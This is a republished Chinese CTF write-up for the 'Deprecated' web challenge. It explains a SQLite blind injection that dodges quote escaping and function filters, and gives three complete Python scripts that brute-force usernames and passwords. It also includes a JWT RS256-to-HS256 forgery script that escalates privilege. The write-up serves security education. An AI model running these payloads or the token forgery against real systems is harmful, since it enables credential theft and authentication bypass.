比较套路化的sqlite注入——Deprecated

admin 2026-08-28 05:02:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了一个CTF题目中的SQLite注入漏洞利用过程。核心难点在于单双引号被转义且过滤了char、unicode等函数,导致无法直接构造字符串。作者通过反斜杠突破引号,利用abs(0x8000000000000000)进行布尔盲注,并提出了三种构造A-F字符的方案:注册特定用户、使用SQL原生表达式或二次hex。文章提供了完整的爆破脚本,具有较高的实战参考价值。 综合评分: 85 文章分类: WEB安全,漏洞分析,实战经验


比较套路化的sqlite注入——Deprecated

原创

珂字辈 珂字辈

珂技知识分享

2026年8月26日 09:47 湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

题目

https://github.com/BK-Sec/2025CISCN/tree/main/Web/Deprecated

环境

https://github.com/btop251/ciscn-2025-Deprecated

比较套路化,routes/index.js中的/feedback接口存在SQL注入,使用了sqlite数据库。

const badwordCheck= (data) => {    data=data.toLowerCase();    let badwords = /system|blob|exec|date|rand|char|regexp|unicode|load/g;    return !!data.match(badwords);};......router.post('/feedback', (req,res) => {    try{        let message=req.body.message.replace(/'/g,"\\'").replace(/"/g,"\\\"");        if(badwordCheck(message)){            return res.send('Forbidden word in message.');        }        db.sendFeedback(message);    }catch(err){        throw (err.toString());    }    return res.send('OK');});

可以看到,单双引号都被转义,有一堆方法过滤,跟进到utils/DButil.js

    sendFeedback(message){        db.prepare(`INSERT INTO messages VALUES('${message}')`).run();    }

显然可以用反斜杠突破前面的单引号,注释突破后面的单引号,这里只能基于报错的布尔盲注,在sqlite中就是经典的abs(0x8000000000000000)。因此基础payload就是这样的。

POST /feedback HTTP/1.1Host: myweb:8081Content-Length: 236Content-Type: application/x-www-form-urlencoded message=test\'-(case when 1=2 then 1 else abs(0x8000000000000000) end)) --

如何注用户名密码呢?由于关键的char和unicode被过滤掉了,只能使用hex,这样等同于hex(‘a’),也就是61。

hex(substr((select+group_concat(username)+from+users),1,1))

如果是mysql,后面取0-ff范围比较即可。但是sqlite的类型检测非常严格,hex(‘a’)得到的是text 61,无法跟int 61比较。

而这题我们又无法使用引号,这使得我们无法得到a字符串,在mysql中还有0x61=’a’的办法,在sqlite中也不行。

聪明的人会想到强制类型转化,我可以将text 61转成int 61。

CAST(hex(substr((select+group_concat(username)+from+users),1,1))+AS+INTEGER)

这样确实可以,但是也仅限一部分hex后没有A-F的字符,比如hex(‘m’)就会丢失一位。

无奈去补sqlite的知识,发现这也是个以前考过的tips,就是考如何构造A-F的字符串,其中CDE是可以裸构造出来的。

https://www.anquanke.com/post/id/222625

table['C'] = 'trim(hex(typeof(.1)),12567)' table['D'] = 'trim(hex(0xffffffffffffffff),123)' table['E'] = 'trim(hex(0.1),1230)'

因为过滤函数的不同,我们可以依葫芦画瓢,构造AF。

table['A'] = 'substr(upper(typeof(.1)),3,1)' table['F'] = 'substr(upper(cast(1e999 as text)),3,1)'

最后B因为过滤了blob导致很难构造出来。和AI讨论了很多方案,最合理的是。

table['B'] = 'substr((select group_concat(sql)from sqlite_master),10,1)'

它会获取到第一条SQL语句CREATE TABLE,里面有字符串B。

除此之外,我们还可以利用hex([0-9A-F])没有A-F这一特性,进行二次hex。

hex(substr(hex(substr((select+group_concat(username)+from+users),1,1)),1,1))=3||6

但这样会损失爆破效率。

当然,更简单的办法是直接注册一个用户名为ABCDEF的账户,这样就能轻松用substr获取想要的A-F。

PS:扩展一下,如果这题过滤了substr,注册6个账户就行。

让AI帮我们写出三种不同方案的爆破脚本

1,注册ABCDEF账户方案

import stringimport requests TARGET_URL = "http://myweb:8081/feedback" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + "{},." # 通过已知 password (123456) 精准定位用户名是 ABCDEF 的记录HEX_MAP = {    "0": "0",    "1": "1",    "2": "2",    "3": "3",    "4": "4",    "5": "5",    "6": "6",    "7": "7",    "8": "8",    "9": "9",    "A": "substr((select username from users where cast(password as INTEGER)=123456),1,1)",    "B": "substr((select username from users where cast(password as INTEGER)=123456),2,1)",    "C": "substr((select username from users where cast(password as INTEGER)=123456),3,1)",    "D": "substr((select username from users where cast(password as INTEGER)=123456),4,1)",    "E": "substr((select username from users where cast(password as INTEGER)=123456),5,1)",    "F": "substr((select username from users where cast(password as INTEGER)=123456),6,1)",}  def build_hex_expression(char):    """将字符转换成大写 HEX,并用 || 拼接(如 'j' -> '6A' -> 6||A)"""    hex_str = char.encode().hex().upper()    parts = [HEX_MAP[c] for c in hex_str]    return "||".join(parts)  def check_char(pos, char):    target_hex_expr = build_hex_expression(char)     # 构造与你原本格式完全一致的 Payload    payload = (        f"test\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/"        f"when hex(substr((select group_concat(password) from users),{pos},1))={target_hex_expr}"        f" then 1 else abs(0x8000000000000000) end)) -- "    )    #print(payload)    data = {"message": payload}    headers = {"Content-Type": "application/x-www-form-urlencoded"}     try:        response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5)        # 依据:条件成立时 SQL 正常执行,返回 OK        return response.status_code == 200 and "OK" in response.text    except requests.exceptions.RequestException:        return False  def dump_usernames():    result = ""    print("[+] Starting dump using password=123456 anchor mapping...")     pos = 1    while True:        found = False        for char in CHARSET:            if check_char(pos, char):                result += char                print(                    f"[+] Pos {pos}: '{char}' (HEX: {char.encode().hex().upper()}) -> Current Result: {result}"                )                found = True                break         if not found:            print(f"\n[+] Extracted usernames: {result}")            break         pos += 1  if __name__ == "__main__":    dump_usernames()

2,特殊手法构造A-F

import stringimport requests TARGET_URL = "http://myweb:8081/feedback" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + "{},." # 1. 纯原生 SQL 表达式构造 A-F(无需单引号、无需注册特定账号、绕过 blob 过滤)SQL_A = "substr(upper(typeof(.1)),3,1)"  # typeof(.1) -> 'real' -> 'REAL' -> 提取 'A'SQL_B = "substr((select group_concat(sql)from sqlite_master),10,1)"  # 'CREATE TABLE...' -> 提取 'B'SQL_C = "trim(hex(typeof(.1)),12567)"  # typeof(.1) -> 'real' -> '7265616C' -> 提取 'C'SQL_D = (    "trim(hex(0xffffffffffffffff),123)"  # -1 -> HEX -> '2D31' -> 提取 'D')SQL_E = "trim(hex(0.1),1230)"  # '0.1' -> HEX -> '302E31' -> 提取 'E'SQL_F = (    "substr(upper(cast(1e999 as text)),3,1)"  # '1e999' -> 'Infinity' -> 'INFINITY' -> 提取 'F') # 2. 建立 HEX 字符映射字典HEX_MAP = {    "0": "0",    "1": "1",    "2": "2",    "3": "3",    "4": "4",    "5": "5",    "6": "6",    "7": "7",    "8": "8",    "9": "9",    "A": SQL_A,    "B": SQL_B,    "C": SQL_C,    "D": SQL_D,    "E": SQL_E,    "F": SQL_F,}  def build_hex_expression(char):    """将字符转换为大写 HEX,并用 || 拼接为 SQL 表达式(如 'j' -> '6A' -> 6||SQL_A)"""    hex_str = char.encode().hex().upper()    parts = [HEX_MAP[c] for c in hex_str]    return "||".join(parts)  def check_char(pos, char):    target_hex_expr = build_hex_expression(char)     # 构造无需任何单引号的条件盲注 Payload    payload = (        f"test\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/"        f"when hex(substr((select group_concat(username) from users),{pos},1))={target_hex_expr}"        f" then 1 else abs(0x8000000000000000) end)) -- "    )     data = {"message": payload}    headers = {"Content-Type": "application/x-www-form-urlencoded"}     try:        response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5)        # 条件成立时正常返回 200 OK        return response.status_code == 200 and "OK" in response.text    except requests.exceptions.RequestException:        return False  def dump_data():    result = ""    print("[+] Starting dump using pure native SQL expression mapping...")     pos = 1    while True:        found = False        for char in CHARSET:            if check_char(pos, char):                result += char                print(                    f"[+] Pos {pos}: '{char}' (HEX: {char.encode().hex().upper()}) -> Current Result: {result}"                )                found = True                break         if not found:            print(f"\n[+] Extracted result: {result}")            break         pos += 1  if __name__ == "__main__":    dump_data()

3,二次hex规避A-F

import stringimport requests TARGET_URL = "http://myweb:8081/feedback" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + "{},.-_!" # 16进制字符 (0-9, A-F) 对应的二次 HEX 数字表达映射DOUBLE_HEX_MAP = {    "0": "3||0",    "1": "3||1",    "2": "3||2",    "3": "3||3",    "4": "3||4",    "5": "3||5",    "6": "3||6",    "7": "3||7",    "8": "3||8",    "9": "3||9",    "A": "4||1",    "B": "4||2",    "C": "4||3",    "D": "4||4",    "E": "4||5",    "F": "4||6",}  def check_hex_char(target_pos, hex_char_idx, hex_char):    """验证目标字段第 target_pos 个字符的 HEX 编码中的第 hex_char_idx 位是否为 hex_char"""    target_double_hex = DOUBLE_HEX_MAP[hex_char]     payload = (        f"test\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/"        f"when hex(substr(hex(substr((select group_concat(username) from users),{target_pos},1)),{hex_char_idx},1))={target_double_hex}"        f" then 1 else abs(0x8000000000000000) end)) -- "    )     data = {"message": payload}    headers = {"Content-Type": "application/x-www-form-urlencoded"}     try:        response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5)        return response.status_code == 200 and "OK" in response.text    except requests.exceptions.RequestException:        return False  def dump_data():    result = ""    print("[+] Starting dump using Double-HEX technique...")     pos = 1    while True:        # 1. 爆破第一个 HEX 字符(如 '6')        first_hex = None        for h in DOUBLE_HEX_MAP.keys():            if check_hex_char(pos, 1, h):                first_hex = h                break         if not first_hex:            print(f"\n[+] Extraction complete! Final result: {result}")            break         # 2. 爆破第二个 HEX 字符(如 'A')        second_hex = None        for h in DOUBLE_HEX_MAP.keys():            if check_hex_char(pos, 2, h):                second_hex = h                break         if not second_hex:            break         # 3. 将组合出的 HEX 还原为原始字符 ('6A' -> 'j')        char_hex = first_hex + second_hex        char = bytes.fromhex(char_hex).decode("latin-1", errors="ignore")        result += char         print(            f"[+] Pos {pos}: HEX={char_hex} -> '{char}' | Current: {result}"        )        pos += 1  if __name__ == "__main__":    dump_data()

得到admin/114514,登录之后有公钥和提示。

这就涉及checkfile接口,需要File-Priviledged-User权限。

其实就是需要篡改jwt,登录后的jwt属性如下。

很常见的RS256->HS256算法混淆漏洞,脚本如下。

import base64import hashlibimport hmacimport json
PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAydTyE7rE8M2ZyKq3QYFd8203XcTzU5UIDD/1MK4O+gGvwjvofz18jm8q++CPuKBj4UZUCvdqXXgV6fm6duNrZG2xQLES6hlaye7vJTquHsNoO5o5KjiufTeKm3mFmCTiqb6fQC386dH56iB+jso5n2a2xl4VL8+IFaoJVyWfht0EGdsQ6zpE2GrWqFRIeLz+CNU6+6Vx7SGA9H+VwWSS1+BI+bk/PJSS+0DE4FMctCx8OrT+y/SSRf/bIFbzNHRaZvAsIOC0AHtPVlxngBVan3YiXGpNr9T9uvespX74nYSQDy9VqUQnCNa+y9ceoV88wO7vp/XFT1Nndk+dUfAeIwIDAQAB-----END PUBLIC KEY-----"""
OLD_TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicHJpdmlsZWRnZSI6IlRlbXAgVXNlciIsImlhdCI6MTc4NzY1MjIxNX0.Lxg7ibp1ZH6lHxIfLNCWY-SkJeg3cgRBuHyQg0TIK3K3Paei3gKhfUQ4W07WEF5TC0rJ9Lf72W8rB-wwdHWWagJ251oRkJdVDgiXkGkVLDxXqcpMTkLRVzZaYF0PlWcNo0AxSgcQUaBpBNJCzw0WHpByaxtkgvo0pXM4J-SyfSHKKeuMvCcJCLaEBS5q7YLc-UHD0IT8EA5Jpd8lMNTKHgeVVL8x-hnn2I5CGapdVZecrydtRRaRUrHDqrS9Gb2oYBcoyGUr3dDNJw8jjgCVVBmkKQdtaJxc8s9sOPVMS5bx7ab6yTxQD228uEuqNND0LPfBWSBnnITby8S7VPG7RA"

def b64url_encode(data: bytes) -> str:    return base64.urlsafe_b64encode(data).decode("utf-8").rstrip("=")

# 1. 强制将 Header 算法改为 HS256header = {"alg": "HS256", "typ": "JWT"}
# 2. 修改 Payload 中的权限字段payload_b64 = OLD_TOKEN.split(".")[1]payload_b64 += "=" * ((4 - len(payload_b64) % 4) % 4)payload = json.loads(base64.urlsafe_b64decode(payload_b64).decode())payload["priviledge"] = "File-Priviledged-User"
# 3. 进行无空格无换行的 Base64URL 编码header_str = b64url_encode(    json.dumps(header, separators=(",", ":")).encode("utf-8"))payload_str = b64url_encode(    json.dumps(payload, separators=(",", ":")).encode("utf-8"))signing_input = f"{header_str}.{payload_str}".encode("utf-8")
# 4. 强制使用公钥文本做 HMAC-SHA256 签名signature = hmac.new(    PUBLIC_KEY.encode("utf-8"), signing_input, hashlib.sha256).digest()signature_str = b64url_encode(signature)
# 5. 输出伪造的 Tokennew_token = f"{header_str}.{payload_str}.{signature_str}"print(new_token)

最终获取flag


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:珂技知识分享 珂字辈 珂字辈《比较套路化的sqlite注入——Deprecated》

《红蓝攻防》速读报告 网络安全文章

《红蓝攻防》速读报告

文章总结: 《红蓝攻防》从攻击方、防守方和中立组织方三个视角系统拆解实战化网络安全攻防演练。核心观点是‘不知攻,焉知防’,强调攻防不对称、人是安全最弱环节。关键
评论:0   参与:  0